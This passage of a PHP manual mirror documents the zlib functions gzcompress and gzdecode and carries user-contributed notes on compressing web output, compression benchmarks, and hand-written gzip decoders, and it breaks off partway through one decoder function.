$gz = gzopen('somefile.gz','w9');
gzputs ($gz, 'I was added to somefile.gz');
gzclose($gz);
?>

参见

  • gzopen() - Open gz-file

User Contributed Notes

There are no user contributed notes for this page.


Compress a string

  • ? gzclose
  • gzdecode ?
  • PHP Manual
  • Zlib 函数
  • Compress a string

gzcompress

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

gzcompress — Compress a string

说明

gzcompress(string $data, int $level = -1, int $encoding = ZLIB_ENCODING_DEFLATE): string|false

This function compresses the given string using the ZLIB data format.

For details on the ZLIB compression algorithm see the document "» ZLIB Compressed Data Format Specification version 3.3" (RFC 1950).

Note:

This is not the same as gzip compression, which includes some header data. See gzencode() for gzip compression.

参数

data

The data to compress.

level

The level of compression. Can be given as 0 for no compression up to 9 for maximum compression.

If -1 is used, the default compression of the zlib library is used which is 6.

encoding

One of ZLIB_ENCODING_* constants.

返回值

The compressed string or false if an error occurred.

示例

Example #1 gzcompress() example

<?php
$compressed = gzcompress('Compress me', 9);
echo $compressed;
?>

参见

  • gzdeflate() - Deflate a string
  • gzinflate() - Inflate a deflated string
  • gzuncompress() - Uncompress a compressed string
  • gzencode() - Create a gzip compressed string

User Contributed Notes

detain at interserver dot net 05-Sep-2017 12:16
gzipped strings include header/metadata you can use to determine if a string is gzipped or not , but since gzcompress does not include that I found myself needing a way to determine if a string was compressed or not.      After some research (and then improvements) i came up with this:

/**
 * determines if a string is a gzipped string supporting strings
 * encoded with either gzencode or gzcompress
 *
 * @param string $string the string to check for compression
 * @return bool whether or not the string was compmressed
 */
function is_gzipped($string) {
    return mb_strpos($string, "\x1f\x8b\x08", 'US-ASCII') === 0 && @gzuncompress($string) !== FALSE;
}
stockton at wowway dot com 29-Jun-2013 03:22
After some searching and experimentation I found that output generated with gzcompress() can be uncompressed by the objective c 'zlibInflate' wrapper for 'zlib' as available at http://cocoadev.com/wiki/NSDataCategory but that 'gzdeflate()' cannot. I hope this saves someone else the searching.
Eric 20-Oct-2011 10:10
Did some simple benchmarking of gzcompress() this morning on a lightly-loaded Fedora 12 server with an AMD Phenom II 940 (quad-core) rocking 8 gigs of ram and executing PHP 5.3.2.2 as an Apache module:

Compression benchmark: (level, time, size (%)):
0: 0.000373 - 82.08 kB (100.02%)
1: 0.000914 - 19.61 kB (23.90%)
2: 0.000951 - 18.88 kB (23.01%)
3: 0.000999 - 18.43 kB (22.46%)
4: 0.001498 - 17.65 kB (21.51%)
5: 0.001744 - 17.09 kB (20.82%)
6: 0.002060 - 16.88 kB (20.57%)
7: 0.002233 - 16.85 kB (20.53%)
8: 0.002808 - 16.71 kB (20.36%)
9: 0.002928 - 16.71 kB (20.36%)

The time code evaluates to:
1. Get start microtime
2. Call gzcompress
3. Get end microtime
4. Report average duration of 100 cycles

The 82.08 kB was a copied and pasted string of two actual, PHP-generated pages we use on our intranet. Running some rough calculations, the time it takes to compress the data at level 9 will never be larger than the time it takes to transmit slightly-less compressed data at levels 6 or lower. In other words, in our application, we have no reason not to fully-compress each PHP script's output.
Timo 07-Apr-2009 02:48
With PHP it is quite easy to modify SWF files. The compression algorithm of SWF is Zlib.

SWF default compression level is 6, at least Flash CS2 uses this level. I tested this by uncompressing compressed SWF file and then compressed the contents with levels 0-9. With level 6, the contents of files were identical.

Maybe it can be whatever else, but when trying to compare files at hex level or compare filesizes, it is easier to use the same level.
Samnan 07-Jan-2009 06:34
To properly use gzcompress to send compressed data to browsers that support it (most of modern browsers do, even mobile ones !), use this function (I dont think W3C validator issue mentioned earlier is valid ). use ob_start() at start of your script also

<?php
function print_gzipped_output()
{
    $HTTP_ACCEPT_ENCODING = $_SERVER["HTTP_ACCEPT_ENCODING"];
    if( headers_sent() )
        $encoding = false;
    else if( strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false )
        $encoding = 'x-gzip';
    else if( strpos($HTTP_ACCEPT_ENCODING,'gzip') !== false )
        $encoding = 'gzip';
    else
        $encoding = false;

    if( $encoding )
    {
        $contents = ob_get_clean();
        $_temp1 = strlen($contents);
        if ($_temp1 < 2048)    // no need to waste resources in compressing very little data
            print($contents);
        else
        {
            header('Content-Encoding: '.$encoding);
            print("\x1f\x8b\x08\x00\x00\x00\x00\x00");
            $contents = gzcompress($contents, 9);
            $contents = substr($contents, 0, $_temp1);
            print($contents);
        }
    }
    else
        ob_end_flush();
}
?>
plasma 06-Sep-2008 10:41
Here is a benchmark comparing strengths of bzip and gzip compression:

gz[0] - 1.647ms - 189058 Byte (100%)
gz[1] - 3.333ms - 44572 Byte (23.58%)
gz[2] - 3.519ms - 42685 Byte (22.58%)
gz[3] - 4.713ms - 40840 Byte (21.6%)
gz[4] - 5.274ms - 39111 Byte (20.69%)
gz[5] - 6.526ms - 37039 Byte (19.59%)
gz[6] - 8.036ms - 36206 Byte (19.15%)
gz[7] - 9.098ms - 35940 Byte (19.01%)
gz[8] - 12.87ms - 35713 Byte (18.89%)
gz[9] - 14.319ms - 35707 Byte (18.89%)

bz[1] - 40.282ms - 32247 Byte (17.06%)
bz[2] - 43.716ms - 29690 Byte (15.7%)
bz[3] - 43.765ms - 29690 Byte (15.7%)
bz[4] - 44.213ms - 29690 Byte (15.7%)
bz[5] - 43.704ms - 29690 Byte (15.7%)
bz[6] - 43.814ms - 29690 Byte (15.7%)
bz[7] - 43.934ms - 29690 Byte (15.7%)
bz[8] - 43.725ms - 29690 Byte (15.7%)
bz[9] - 45.129ms - 29690 Byte (15.7%)
prgTW at poczta dot onet dot pl 15-Feb-2006 05:57
I don't know why, but W3C Validator can't validate pages that are GZIP compressed (with functions posted below: gzcompress, pack etc.; not by ob_gzhandler).

Because of this, I use similar code to this below:

<?php
if( strstr($_SERVER['HTTP_USER_AGENT'], 'W3C_Validator')!==false || strstr($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')===false ){
  // do not compress
}else{
  // can send GZIP compressed data
}
?>

This code also checks if user agent is W3C Validator. If it is NOT W3C Validator and user acceptes GZIP encoded data then we can compress the page, in other case if it is W3C Validator or user agent does not accept GZIP enoded data we can't compress the page, 'cause user agent couldn't properly handle it.

Sorry for my bad English
Chris Watt 11-Oct-2005 06:26
Contrary to popular opinion the checksum in the last four bytes of output is not "wrong", it's just not very useful: RFC 1950 s8.2 specifies that the "Adler-32" checksum, not CRC32 should be appended to the compressed data and PHP function follows the RFC (if for no other reason because it uses zlib and Mark Adler was one of the authors thereof). In contrast gzip expects a CRC32 (i.e. it doesn't follow that RFC), and treats the Adler-32 checksum as an incorrect CRC32.

AFAICT there is no simple way to compute the CRC32 directly from the Adler32 checksum.

Personally, my solution was to write a short C program that performs a deflate on, and calculates the CRC32 of, stdin while writing the compressed data (with trailing CRC32 instead of Adler32) on stdout. It's an ugly hack, but it does allow me to  serve a ~1GB compressed output with only a single pass over the uncompressed data and without hitting my 8MB memory limit. In contrast, methods using gzcompress() and crc32() would seem to require a theoretical minimum of three passes across the input data (read into memory, compress, calculate CRC) and 2GB of allocated memory to produce a 1GB compressed output... Short of writing crc32() and deflate() functions from scratch, I couldn't find any way of doing this without either storing the whole output in a variable or resorting to a module in another language.
14-Jun-2005 07:39
If no parameter is given, the default level of 6 is used.

benchmarking the speed:
(compression, datasize, compress time)
0: 37440 (0.002 s)
1: 2537 (0.002 s)
2: 2298 (0.003 s)
3: 2199 (0.003 s)
4: 2299 (0.003 s)
5: 1939 (0.004 s)
6: 1789 (0.004 s)
7: 1724 (0.004 s)
8: 1635 (0.005 s)
9: 1635 (0.005 s)

Level 0 = no compression, then level 1-4 are roughly the fastest to compress with reasonable quality. level 5-7 give better compression but take a little longer and 8-9 take nearly double the time to compress but give best results.

So the system default of 6 is actually a good compromise in speed/size. But for very fast compression times, I go with the threshold value of 3.
gaelreth at gmail dot com 03-May-2005 08:27
There is a useful zipfile class at http://www.zend.com/codex.php?id=696&single=1 that allows you to zip many files into one zip file.
dwales at easyetrader dot com 30-Jul-2003 12:48
I find this works well, save the snip below in your php/ directory then edit your prepend.php file and add a require statement that requires the compression.php file below. Once complete watch (tail -f) your php error log to see the results of compression in action.

<?php

// Gzip encode the contents of the output buffer.
function compress_output_option($output)
{
    // Compress the data into a new var.
    $compressed_out = gzencode($output);

    // Don't compress any pages less than 1000 bytes
    // as it's not worth the overhead at either side.
    if(strlen($output) >= 1000)
    {
        error_log('compression.php Gzipd Output'."\n"
                 .'Before compression size '
                 .strlen($output).' bytes'."\n"
                 .' After compression size '
                 .strlen($compressed_out).' bytes');
        // Tell the browser the content is compressed with gzip
        header("Content-Encoding: gzip");
        return $compressed_out;
    }
    else
    {
        // No compression
        error_log('compression.php Standard Output.');
        return $output;
    }
}

// Check if the browser supports gzip encoding, HTTP_ACCEPT_ENCODING
if (strstr($HTTP_SERVER_VARS['HTTP_ACCEPT_ENCODING'], 'gzip'))
{
    // Start output buffering, and register compress_output() (see
    // below)
    ob_start("compress_output_option");

}
?>
devcontact at tech-island dot com 24-Mar-2003 07:45
The method of first reading the source file and then passing its content to the gzip function instead of simply the source and destination filename was a bit confusing for me.

So I have written a simple funtion you can use to compress files in the gzip format (gzip is readable by winzip like .zip files)

function compress($srcName, $dstName)
{
  $fp = fopen($srcName, "r");
  $data = fread ($fp, filesize($srcName));
  fclose($fp);

  $zp = gzopen($dstName, "w9");
  gzwrite($zp, $data);
  gzclose($zp);
}

// Compress a file
compress("/web/myfile.dat", "/web/myfile.gz");
mail at ciruz dot de 11-Mar-2003 12:59
You should use the crc coz' some linux browsers need it. Some browser won't display anything without crc. My code works with these browsers (tested ;))
chris at mad-teaparty dot com 26-Feb-2003 10:58
little correction of the one above:
the crc is not necessarily needed to display the content in browsers, but it's still useful as a checksum. I suggest that most of the browsers don't check it anyway, otherwise they would not display contents with broken checksums.
Scripts seem to be a little bit faster, you may weigh up advantages with disadvantages (e.g. when you use a secure connection).
chris at mad-teaparty dot com 26-Feb-2003 03:26
It seems that you don't have to pack the crc-checksum and the length of the string. The crucial thing is to erase the last 4 bytes of the gzcompressed content. They seem to be redundant in any case. I rewrote the function "gzDocOut" and I think, it is the most efficient and shortest way to encode an output with gzcompress:

function gzDocOut() {

     if ($encoding = checkCanGzip()) {
       $contents = ob_get_contents();
       ob_end_clean();
       header("Content-Encoding: ". $encoding);
       $output = "\x1f\x8b\x08\x00\x00\x00\x00\x00";
       $output .= substr(gzcompress($contents, 2), 0, -4);
       echo $output;
       exit();
     }
     else {
       ob_end_flush();
       exit();
     }

}

Tested with IE5.5, Netscape 7, Mozilla 1.2, Opera 7, Opera 6 as well as Netscape 4.7. I'll test further browsers to be sure...
orlink at hotmail dot com 03-Jun-2002 12:32
I tried sending a pre-compressed javascript with header("Content-Encoding: gzip") to a request from <script type=javascript src="http://...?op=getscript">.

I have found out so far that IE4 does not support external compressed scripts and stylesheets (that is not embedded in the HTML but included with <script ...src=...> and <link src=...>).  With other versions of IE it works on some computers and not on others even if they have exactly the same versions of IE and Windows.   For instance IE 5.0xxxxxx and Windows 98 Buldxxxx.
If anyones knows of at least one configuration of IE and a OS for which it works for SURE let me know.
postmaster at ak-dev dot com 02-Jun-2002 04:57
Second try! In my mind, the following source code is right with 4.1.2 and higher, and seems to be right with other versions... and its works with all browser I tried(NS 4.7x, mozilla 1.00rc3, IE5.5, opera6.01)...
As it is said in documentation of the function gzencode, you have to use this function, if you want to get the right result! gzcompress doesn't create the right stream output for browsers!(It is explained in gzencode documentation: generated headers are not the same!)

The source code:

<?
  function checkCanGzip() {

      global $HTTP_ACCEPT_ENCODING;

      if (headers_sent()) return 0;
      if (strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false) return
"x-gzip";
      if (strpos($HTTP_ACCEPT_ENCODING,'gzip') !== false) return
"gzip";
      return 0;

  }

  function gzDocOut() {

      if ($encoding = checkCanGzip()) {
        $contents = ob_get_contents();
        ob_end_clean();
        header("Content-Encoding: ".$encoding);
//        print("\x1f\x8b\x08\x00\x00\x00\x00\x00");
        $contents = gzencode($contents);
//        $contents = substr($contents, 0, strlen($contents) - 4);
        print($contents);
//        print(pack('V', crc32($contents)));
//        print(pack('V', strlen($contents)));
        exit();
      }
      else {
        ob_end_flush();
        exit();
      }

  }

  ob_start();
  ob_implicit_flush(0);

  print("your stuff...");

  gzDocOut();

?>

You have to note, that gzencode is able to generate deflate compression, but the previous source code, does not implemente it. You just have to read gzencode documentation to find this tip.
function gzencode in php 4.2.0 (and higher) allows to use a compression level, it is not possible in loder versions.

The code which is commented, is wrong source code, used, in the different exemple found on this page!
postmaster at ak-dev dot com 01-Jun-2002 07:42
It seems that you don't need anymore to add the crc and the size at the end of the stream, it works fairly with php4.06! I don't have tried for the moment with highest version than php 4.06.
The source code:

<?
  function checkCanGzip() {

      global $HTTP_ACCEPT_ENCODING;

      if (headers_sent()) return 0;
      if (strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false) return "x-gzip";
      if (strpos($HTTP_ACCEPT_ENCODING,'gzip') !== false) return "gzip";
      return 0;

  }

  function gzDocOut() {

      if ($encoding = checkCanGzip()) {
        $contents = ob_get_contents();
        ob_end_clean();
        header("Content-Encoding: ".$encoding);
        print("\x1f\x8b\x08\x00\x00\x00\x00\x00");
        $size = strlen($contents);
        $contents = gzcompress($contents, 9);
        $contents = substr($contents, 0, $size);
        print($contents);
//        print(pack('V', crc32($contents)));
//        print(pack('V', $size));
        exit();
      }
      else {
        ob_end_flush();
        exit();
      }

  }

  ob_start();
  ob_implicit_flush(0);

  print("your stuff...");

  gzDocOut();

?>

For the  moment, I have only tried on IE5.5, and it works well.
Effectively, with the crc and the size at the end of gile, it doesn't work!
rostor at swzone dot org 18-Sep-2001 05:04
To solve I.E.5.x data compress problem on IIS5, such opening a download dial box or wrong page load, the only way for me was to change the header content type:

<? header("Content-type: gzip");ob_start ("ob_gzhandler");?>

but now all browser that doesn't support gzip don't load the page.
webmaster at mail.bg 01-Aug-2001 03:40
When you compress your data IE (5.x for sure, no idea about Netscape) may mess up the mime headers, so you may e.g. loose your extensions after compressing output. In my case in attachment saving with no compression everything works fine. When I compress output everything seems OK except I loose the file extension (althogh it really is in the headers). This is because IE seems to think your attachment is mimetype gzip, and not what you send in the headers that follow.

In such cases the easiest sollution would be to disable compression (maybe partially with an .htaccess file?).
gvirgo at mithril dot com 01-Jan-2001 11:14
>>Netscape 4 (on all platforms[?]), IE4/IE5 on the Mac do NOT support
>>gz-compression. Email me if you want to know more.

As a matter of fact, Netscape 4.7x on Win32 DOES support gz-compression.  Calling the following script in my auto_prepend directive seems to work fine.  The script is taken from the Output Buffering article on Zend.com (http://www.zend.com/zend/art/buffering.php).  As noted in the article, it only works with PHP 4.0.4 and higher.

<?php

        // function to compress the output buffer in preparation for transmission to client
    function compress_output($output) {

            // compress and return the output buffer
        return gzencode($output);
    }

        // Check if the browser supports gzip encoding, HTTP_ACCEPT_ENCODING
    if (strstr($HTTP_SERVER_VARS['HTTP_ACCEPT_ENCODING'], 'gzip')) {

            // Start output buffering, and register compress_output()
        ob_start("compress_output");

            // Tell the browser the content is compressed with gzip
        header("Content-Encoding: gzip");
    }

?>
fil at rezox dot com 20-Dec-2000 06:15
GZ-compression works perfectly for html content sent to IE5/IE5.5/Netscape6 browsers. I even compress the <script src='javascriptstuff'> javascript code. It speeds throughput immensely: best case so far 160k html file --> 8k gzip sent.

Netscape 4 (on all platforms[?]), IE4/IE5 on the Mac do NOT support gz-compression. Email me if you want to know more.
ck at newsclub dot de 28-Sep-2000 12:25
Ah right, I did not realize it because my browsers (Acorn Browse on RISC OS and Netscape on Windows) don't make problems at all.

Anyway, you can replace your function "gzip_PrintFourChars"
with "echo pack("V",$Crc)".
@boas.anthro.mnsu.edu 26-Sep-2000 11:30
No, it doesn't return gzip compressed data -- specifically, the CRC is messed up.  However, after massaging the output a lot, I have come up with a solution.  I also commented it a lot, pointing out odd things.

<?php
// Start the output buffer
ob_start();
ob_implicit_flush(0);

// Output stuff here...

// Get the contents of the output buffer
$contents = ob_get_contents();
ob_end_clean();

// Tell the browser that they are going to get gzip data
// Of course, you already checked if they support gzip or x-gzip
// and if they support x-gzip, you'd change the header to say
// x-gzip instead, right?
header("Content-Encoding: gzip");

// Display the header of the gzip file
// Thanks ck@medienkombinat.de!
// Only display this once
echo "\x1f\x8b\x08\x00\x00\x00\x00\x00";

// Figure out the size and CRC of the original for later
$Size = strlen($contents);
$Crc = crc32($contents);

// Compress the data
$contents = gzcompress($contents, 9);

// We can't just output it here, since the CRC is messed up.
// If I try to "echo $contents" at this point, the compressed
// data is sent, but not completely.  There are four bytes at
// the end that are a CRC.  Three are sent.  The last one is
// left in limbo.  Also, if we "echo $contents", then the next
// byte we echo will not be sent to the client.  I am not sure
// if this is a bug in 4.0.2 or not, but the best way to avoid
// this is to put the correct CRC at the end of the compressed
// data.  (The one generated by gzcompress looks WAY wrong.)
// This will stop Opera from crashing, gunzip will work, and
// other browsers won't keep loading indefinately.
//
// Strip off the old CRC (it's there, but it won't be displayed
// all the way -- very odd)
$contents = substr($contents, 0, strlen($contents) - 4);

// Show only the compressed data
echo $contents;

// Output the CRC, then the size of the original
gzip_PrintFourChars($Crc);
gzip_PrintFourChars($Size);

// Done.  You can append further data by gzcompressing
// another string and reworking the CRC and Size stuff for
// it too.  Repeat until done.

function gzip_PrintFourChars($Val)
{
    for ($i = 0; $i < 4; $i ++)
    {
        echo chr($Val % 256);
        $Val = floor($Val / 256);
    }
}
?>


Decodes a gzip compressed string

  • ? gzcompress
  • gzdeflate ?
  • PHP Manual
  • Zlib 函数
  • Decodes a gzip compressed string

gzdecode

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

gzdecode — Decodes a gzip compressed string

说明

gzdecode(string $data, int $max_length = 0): string|false

This function returns a decoded version of the input data.

参数

data

The data to decode, encoded by gzencode().

max_length

The maximum length of data to decode.

返回值

The decoded string, or 或者在失败时返回 false.

错误／异常

In case of failure, an E_WARNING level error is issued.

参见

  • gzencode() - Create a gzip compressed string

User Contributed Notes

anonymous at dekho-ji.com 08-Jul-2020 09:32
PROBLEM - gzdecode is returning truncated decoded string, file size of .gz file was 268 KB only

SOLUTION - use GZFILE() function to return the fully decoded string without any truncation

Hope this helps
msegit post pl 12-Jul-2018 08:40
katzlbtjunk (2008-04-30), thanks for code. But remember, .gz file may be series of members (data sets). They should be uncompressed in loop.
Fixed code gzdecodeM() on http://gist.github.com/msegu/de556cdd32eb58430871b06145168024
Addicionally, you can
- get data of gz members in array
- choose members you need to extract
Artem 23-Mar-2017 01:13
This can help to decompress the data from tar archive in certain cases, hope this helps somebody
<?php
$tarName = 'example.ini';

try {
    /** For files with tar.gz extensions **/
    $phar = new \PharData($path, 0, $tarName);
} catch ($e) {
    /** Decode the file first **/
    $decodedFile = file_put_contents($path, gzdecode(file_get_contents($path)));
    /** create PharData object second **/
    $phar = new \PharData($path, 0, $tarName);
}
?>
fabrizio dot rastiello at gmail dot com 07-Feb-2016 08:35
In my case to decode correctly a GZIPOutputStream POST from Android I used
gzinflate( substr($post,10,-8) );
and not
gzinflate( substr($HTTP_RAW_POST_DATA,10,-8) ) . PHP_EOL  . PHP_EOL
trevize32 at gmail dot com 14-Aug-2015 05:32
I use the following code:

function &gzdecodedata(&$data) {

    ob_start();

    readgzfile('data://application/gzip;base64,' . base64_encode($data));

    $d = ob_get_clean();

    return $d;
}
Anonymous 18-Jul-2014 05:33
if (!function_exists('gzdecode')) {
    function gzdecode($data)
    {
        return gzinflate(substr($data,10,-8));
    }
}
anonymous at dekho-ji dot com 16-May-2013 11:31
To decode / uncompress the received HTTP POST data in PHP code, request data coming from Java / Android application via HTTP POST GZIP / DEFLATE compressed format

1) Data sent from Java Android app to PHP using DeflaterOutputStream java class and received in PHP as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,2,-4) ) . PHP_EOL  . PHP_EOL;

2) Data sent from Java Android app to PHP using GZIPOutputStream java class and received in PHP code as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,10,-8) ) . PHP_EOL  . PHP_EOL;

From Java Android side (API level 10+), data being sent in DEFLATE compressed format
        String body = "Lorem ipsum shizzle ma nizle";
        URL url = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn = url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestProperty("Content-encoding", "deflate");
        conn.setRequestProperty("Content-type", "application/octet-stream");
        DeflaterOutputStream dos = new DeflaterOutputStream(
                conn.getOutputStream());
        dos.write(body.getBytes());
        dos.flush();
        dos.close();
        BufferedReader in = new BufferedReader(new InputStreamReader(
                conn.getInputStream()));
        String decodedString = "";
        while ((decodedString = in.readLine()) != null) {
            Log.e("dump",decodedString);
        }
        in.close();

On PHP side (v 5.3.1), code for decompressing this DEFLATE data will be
    echo substr($HTTP_RAW_POST_DATA,2,-4);

From Java Android side (API level 10+), data being sent in GZIP compressed format

        String body1 = "Lorem ipsum shizzle ma nizle";
        URL url1 = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn1 = url1.openConnection();
        conn1.setDoOutput(true);
        conn1.setRequestProperty("Content-encoding", "gzip");
        conn1.setRequestProperty("Content-type", "application/octet-stream");
        GZIPOutputStream dos1 = new GZIPOutputStream(conn1.getOutputStream());
        dos1.write(body1.getBytes());
        dos1.flush();
        dos1.close();
        BufferedReader in1 = new BufferedReader(new InputStreamReader(
                conn1.getInputStream()));
        String decodedString1 = "";
        while ((decodedString1 = in1.readLine()) != null) {
            Log.e("dump",decodedString1);
        }
        in1.close();

On PHP side (v 5.3.1), code for decompressing this GZIP data will be
    echo substr($HTTP_RAW_POST_DATA,10,-8);

Useful PHP code for printing out compressed data using all available formats.

$data = "Lorem ipsum shizzle ma nizle";
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzcompress($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzdeflate($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_GZIP))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_DEFLATE))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";

Hope this helps. Please ThumbsUp if this saved you a lot of effort and time.
tomas at slax dot org 05-Nov-2011 04:25
I don't have any deep knowledge in compression algorithms and formats, so I have no idea if this works the same on all platforms. But by several experiments on my Linux box I found how to get gzdecoded data without temporary files. Here it is:

<?php
function gzdecode($data)
{
   return gzinflate(substr($data,10,-8));
}
?>

That's it. Simply strip header and footer bytes and you get raw deflated data for inflation.
webmaster at askapache dot com 02-Jul-2008 02:32
I have used this simple function to gzdecode gzipped files downloaded from the web.

<?php

function gzdecode($data){
  $g=tempnam('/tmp','ff');
  @file_put_contents($g,$data);
  ob_start();
  readgzfile($g);
  $d=ob_get_clean();
  return $d;
}

?>
katzlbtjunk at hotmail dot com 02-May-2008 07:15
3 more bugs found and fixed:
1. failed to work when the gz contained a filename - FIXED
2. failed to work on 64-bit architecture (checksum) - FIXED
3. failed to work when the gz contained a comment - cannot verify.
Returns some errors (not all!) and filename.
<?php function gzdecode($data,&$filename='',&$error='',$maxlength=null)
{
    $len = strlen($data);
    if ($len < 18 || strcmp(substr($data,0,2),"\x1f\x8b")) {
        $error = "Not in GZIP format.";
        return null;  // Not GZIP format (See RFC 1952)
    }
    $method = ord(substr($data,2,1));  // Compression method
    $flags  = ord(substr($data,3,1));  // Flags
    if ($flags & 31 != $flags) {
        $error = "Reserved bits not allowed.";
        return null;
    }
    // NOTE: $mtime may be negative (PHP integer limitations)
    $mtime = unpack("V", substr($data,4,4));
    $mtime = $mtime[1];
    $xfl   = substr($data,8,1);
    $os    = substr($data,8,1);
    $headerlen = 10;
    $extralen  = 0;
    $extra     = "";
    if ($flags & 4) {
        // 2-byte length prefixed EXTRA data in header
        if ($len - $headerlen - 2 < 8) {
            return false;  // invalid
        }
        $extralen = unpack("v",substr($data,8,2));
        $extralen = $extralen[1];
        if ($len - $headerlen - 2 - $extralen < 8) {
            return false;  // invalid
        }
        $extra = substr($data,10,$extralen);
        $headerlen += 2 + $extralen;
    }
    $filenamelen = 0;
    $filename = "";
    if ($flags & 8) {
        // C-style string
        if ($len - $headerlen - 1 < 8) {
            return false; // invalid
        }
        $filenamelen = strpos(substr($data,$headerlen),chr(0));
        if ($filenamelen === false || $len - $headerlen - $filenamelen - 1 < 8) {
            return false; // invalid
        }
        $filename = substr($data,$headerlen,$filenamelen);
        $headerlen += $filenamelen + 1;
    }
    $commentlen = 0;
    $comment = "";
    if ($flags & 16) {
        // C-style string COMMENT data in header
        if ($len - $headerlen - 1 < 8) {
            return false;    // invalid
        }
        $commentlen = strpos(substr($data,$headerlen),chr(0));
        if ($commentlen === false || $len - $headerlen - $commentlen - 1 < 8) {
            return false;    // Invalid header format
        }
        $comment = substr($data,$headerlen,$commentlen);
        $headerlen += $commentlen + 1;
    }
    $headercrc = "";
    if ($flags & 2) {
        // 2-bytes (lowest order) of CRC32 on header present
        if ($len - $headerlen - 2 < 8) {
            return false;    // invalid
        }
        $calccrc = crc32(substr($data,0,$headerlen)) & 0xffff;
        $headercrc = unpack("v", substr($data,$headerlen,2));
        $headercrc = $headercrc[1];
        if ($headercrc != $calccrc) {
            $error = "Header checksum failed.";
            return false;    // Bad header CRC
        }
        $headerlen += 2;
    }
    // GZIP FOOTER
    $datacrc = unpack("V",substr($data,-8,4));
    $datacrc = sprintf('%u',$datacrc[1] & 0xFFFFFFFF);
    $isize = unpack("V",substr($data,-4));
    $isize = $isize[1];
    // decompression:
    $bodylen = $len-$headerlen-8;
    if ($bodylen < 1) {
        // IMPLEMENTATION BUG!
        return null;
    }
    $body = substr($data,$headerlen,$bodylen);
    $data = "";
    if ($bodylen > 0) {
        switch ($method) {
        case 8:
            // Currently the only supported compression method:
            $data = gzinflate($body,$maxlength);
            break;
        default:
            $error = "Unknown compression method.";
            return false;
        }
    }  // zero-byte body content is allowed
    // Verifiy CRC32
    $crc   = sprintf("%u",crc32($data));
    $crcOK = $crc == $datacrc;
    $lenOK = $isize == strlen($data);
    if (!$lenOK || !$crcOK) {
        $error = ( $lenOK ? '' : 'Length check FAILED. ') . ( $crcOK ? '' : 'Checksum FAILED.');
        return false;
    }
    return $data;
}
?>
katzlbtjunk at hotmail dot com 30-Apr-2008 01:51
Aaron G. 07-Aug-2004 03:29 posted the function gzdecode()
to gzencode comments. I FIXED the BUG: if($flags & 1) to the correct if($flags & 2)

Unfortunately the function gzencode() does NOT append a CRC so I did not notice until I tried to upload a file compressed with gzip itself.

<?php

function gzdecode($data) {
  $len = strlen($data);
  if ($len < 18 || strcmp(substr($data,0,2),"\x1f\x8b")) {
    return null;  // Not GZIP format (See RFC 1952)
  }
  $method = ord(substr($data,2,1));  // Compression method
  $flags  = ord(substr($data,3,1));  // Flags
  if ($flags & 31 != $flags) {
    // Reserved bits are set -- NOT ALLOWED by RFC 1952
    return null;
  }
  // NOTE: $mtime may be negative (PHP integer limitations)
  $mtime = unpack("V", substr($data,4,4));
  $mtime = $mtime[1];
  $xfl   = substr($data,8,1);
  $os    = substr($data,8,1);
  $headerlen = 10;
  $extralen  = 0;
  $extra     = "";
  if ($flags & 4) {
    // 2-byte length prefixed EXTRA data in header
    if ($len - $headerlen - 2 < 8) {
      return false;    // Invalid format
    }
    $extralen = unpack("v",substr($data,8,2));
    $extralen = $extralen[1];
    if ($len - $headerlen - 2 - $extralen < 8) {
      return false;    // Invalid format
    }
    $extra = substr($data,10,$extralen);
    $headerlen += 2 + $extralen;
  }

  $filenamelen = 0;
  $filename = "";
  if ($flags & 8) {
    // C-style string file NAME data in header
    if ($len - $headerlen - 1 < 8) {
      return false;    // Invalid format
    }
    $filenamelen = strpos(substr($data,8+$extralen),chr(0));
    if ($filenamelen === false || $len - $headerlen - $filenamelen - 1 < 8) {
      return false;    // Invalid format
    }
    $filename = substr($data,$headerlen,$filenamelen);
    $headerlen += $filenamelen + 1;
  }

  $commentlen = 0;
  $comment = "";
  if ($flags & 16) {
    // C-style string COMMENT data in header
    if ($len - $headerlen - 1 < 8) {
      return false;    // Invalid format
    }
    $commentlen = strpos(substr($data,8+$extralen+$filenamelen),chr(0));
    if ($commentlen === false || $len - $headerlen - $commentlen - 1 < 8) {
      return false;    // Invalid header format
    }
    $comment = substr($data,$headerlen,$commentlen);
    $headerlen += $commentlen + 1;
  }

  $headercrc = "";
  if ($flags & 2) {
    // 2-bytes (lowest order) of CRC32 on header present
    if ($len - $headerlen - 2 < 8) {
      return false;    // Invalid format
    }
    $calccrc = crc32(substr($data,0,$headerlen)) & 0xffff;
    $headercrc = unpack("v", substr($data,$headerlen,2));
    $headercrc = $headercrc[1];
    if ($headercrc != $calccrc) {
      return false;    // Bad header CRC
    }
    $headerlen += 2;
  }

  // GZIP FOOTER - These be negative due to PHP's limitations
  $datacrc = unpack("V",substr($data,-8,4));
  $datacrc = $datacrc[1];
  $isize = unpack("V",substr($data,-4));
  $isize = $isize[1];

  // Perform the decompression:
  $bodylen = $len-$headerlen-8;
  if ($bodylen < 1) {
    // This should never happen - IMPLEMENTATION BUG!
    return null;
  }
  $body = substr($data,$headerlen,$bodylen);
  $data = "";
  if ($bodylen > 0) {
    switch ($method) {
      case 8:
        // Currently the only supported compression method:
        $data = gzinflate($body);
        break;
      default:
        // Unknown compression method
        return false;
    }
  } else {
    // I'm not sure if zero-byte body content is allowed.
    // Allow it for now...  Do nothing...
  }

  // Verifiy decompressed size and CRC32:
